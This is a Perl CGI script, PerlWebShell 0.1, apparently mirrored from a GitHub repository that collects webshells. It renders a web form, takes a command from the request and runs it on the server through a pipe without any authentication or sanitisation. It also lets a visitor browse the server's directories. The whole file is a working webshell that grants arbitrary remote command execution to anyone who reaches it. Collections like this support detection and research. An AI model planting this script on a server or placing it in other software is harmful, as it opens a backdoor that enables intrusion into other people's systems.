mirror of
https://github.com/tennc/webshell
synced 2024-11-22 11:13:03 +00:00
149 lines
4.2 KiB
Perl
149 lines
4.2 KiB
Perl
#!/usr/bin/perl
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#
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# PerlWebShell 0.1
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#
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# PerlWebShell is an interactive CGI-script that will execute any
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# command entered. See the files README and INSTALL or
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# http://yola.in-berlin.de/perlwebshell/ for further information.
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#
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# Copyright (C) 2004 Florian Rossol <rossol@yola.in-berlin.de>
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# Copyright (C) 2000-2003 Martin Geisler <gimpster@gimpster.com>
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#
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# This program is free software; you can redistribute it and/or
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# modify it under the terms of the GNU General Public License
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# as published by the Free Software Foundation; either version 2
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# of the License, or (at your option) any later version.
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#
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# This program is distributed in the hope that it will be useful,
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# but WITHOUT ANY WARRANTY; without even the implied warranty of
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# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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# GNU General Public License for more details.
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#
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# You can get a copy of the GNU General Public License from this
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# address: http://www.gnu.org/copyleft/gpl.html#SEC1
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# You can also write to the Free Software Foundation, Inc., 59 Temple
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# Place - Suite 330, Boston, MA 02111-1307, USA.
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#
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use CGI qw(:standard);
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use Cwd;
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use strict;
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my $q = new CGI;
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my $command;
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my $cwd;
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my $fname;
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my $parent_dir;
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if (param()) {
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$cwd = param('cwd');
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$command = param('command');
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}
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$cwd = getcwd() unless $cwd;
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chdir $cwd or die "can't chdir";
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$command = "ls -l" unless $command;
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open ("COMH", "$command |") or die "can't open: $!\n";
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print "Content-type: text/html\n\n";
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print <<'EOHTML';
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<?xml version="1.0" encoding="iso-8859-1"?>
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<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
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<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
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<head>
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EOHTML
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print "<title>shell.cgi ($ENV{'SERVER_NAME'})</title>";
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print <<'EOHTML';
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<style type="text/css">
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body {
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font-family: sans-serif;
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color: black;
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background: white;
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}
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h1 {
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color: red;
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background: white;
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}
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img {
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border: 0;
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}
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legend {
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font-weight: bold;
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}
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</style>
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</head>
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<body>
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EOHTML
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my $abs_url = $q->url(-absolute=>1);
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print h1("shell.cgi ($ENV{'SERVER_NAME'})");
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print $q->start_form(-method=>"get", -action=>$abs_url);
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print "<fieldset><legend>Input</legend>",
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"<p>Current working directory: ";
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$cwd = $cwd . "/" unless $cwd =~ /\/$/;
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if ($cwd =~ /(.*)\/(.*)\//) {
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$parent_dir = $1 . "/";
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}
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my @path = split('/', $cwd);
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shift(@path);
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my $tmp_path;
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print "<a href=\"$abs_url?cwd=/\">root</a>/";
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foreach (@path) {
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$tmp_path .= $_ . "/";
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print "<a href=\"$abs_url?cwd=/$tmp_path\">$_</a>/";
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}
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print "</p>\n";
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print "<p>Choose new working directory: \n",
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"<select name=\"cwd\" onchange=\"this.form.submit()\">\n";
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print "<option value=\"$cwd\" selected=\"selected\">Current Directory</option>\n";
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print "<option value=\"$parent_dir\">Parent Directory</option>\n";
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opendir("DH", $cwd) or die "can't opendir: $!\n";
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while (defined ($fname = readdir(DH))) {
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next if $fname =~ /^\.+$/;
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print "<option value=\"$cwd$fname/\">$fname</option>\n" if -d "$cwd/$fname";
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}
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print "</select></p>\n";
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print q(<p>Command: <input type="text" name="command" size="60" /></p>);
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#<p>Enable <code>stderr</code>-trapping? <input type="checkbox" name="stderr"
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# />
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print q(<input name="submit" type="submit" value="execute" /></p>);
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print "</fieldset>";
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print "<fieldset><legend>Output ($command)</legend>";
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print q(<textarea cols="80" rows="20" readonly="readonly">) . "\n";
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foreach (<COMH>) {
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print $_;
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}
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print "</textarea></fieldset>";
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print $q->end_form();
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#
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print <<'EOHTML';
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<hr />
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<address>
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Copyright © 2004, <a
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href="mailto:rossol@yola.in-berlin.de">Florian Rossol</a>. Get the
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latest version at <a
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href="http://yola.in-berlin.de/perwebshell/">http://yola.in-berlin.de/perlwebshell/</a>.
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</address>
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<p>
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<a href="http://validator.w3.org/check/referer">
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<img src="http://www.w3.org/Icons/valid-xhtml10" alt="Valid XHTML 1.0 Strict!"
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height="31" width="88" />
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</a>
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<a href="http://jigsaw.w3.org/css-validator/check/referer">
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<img src="http://jigsaw.w3.org/css-validator/images/vcss"
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width="88" height="31"
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alt="Valid CSS!" />
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</a>
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</p>
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EOHTML
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print $q->end_html();
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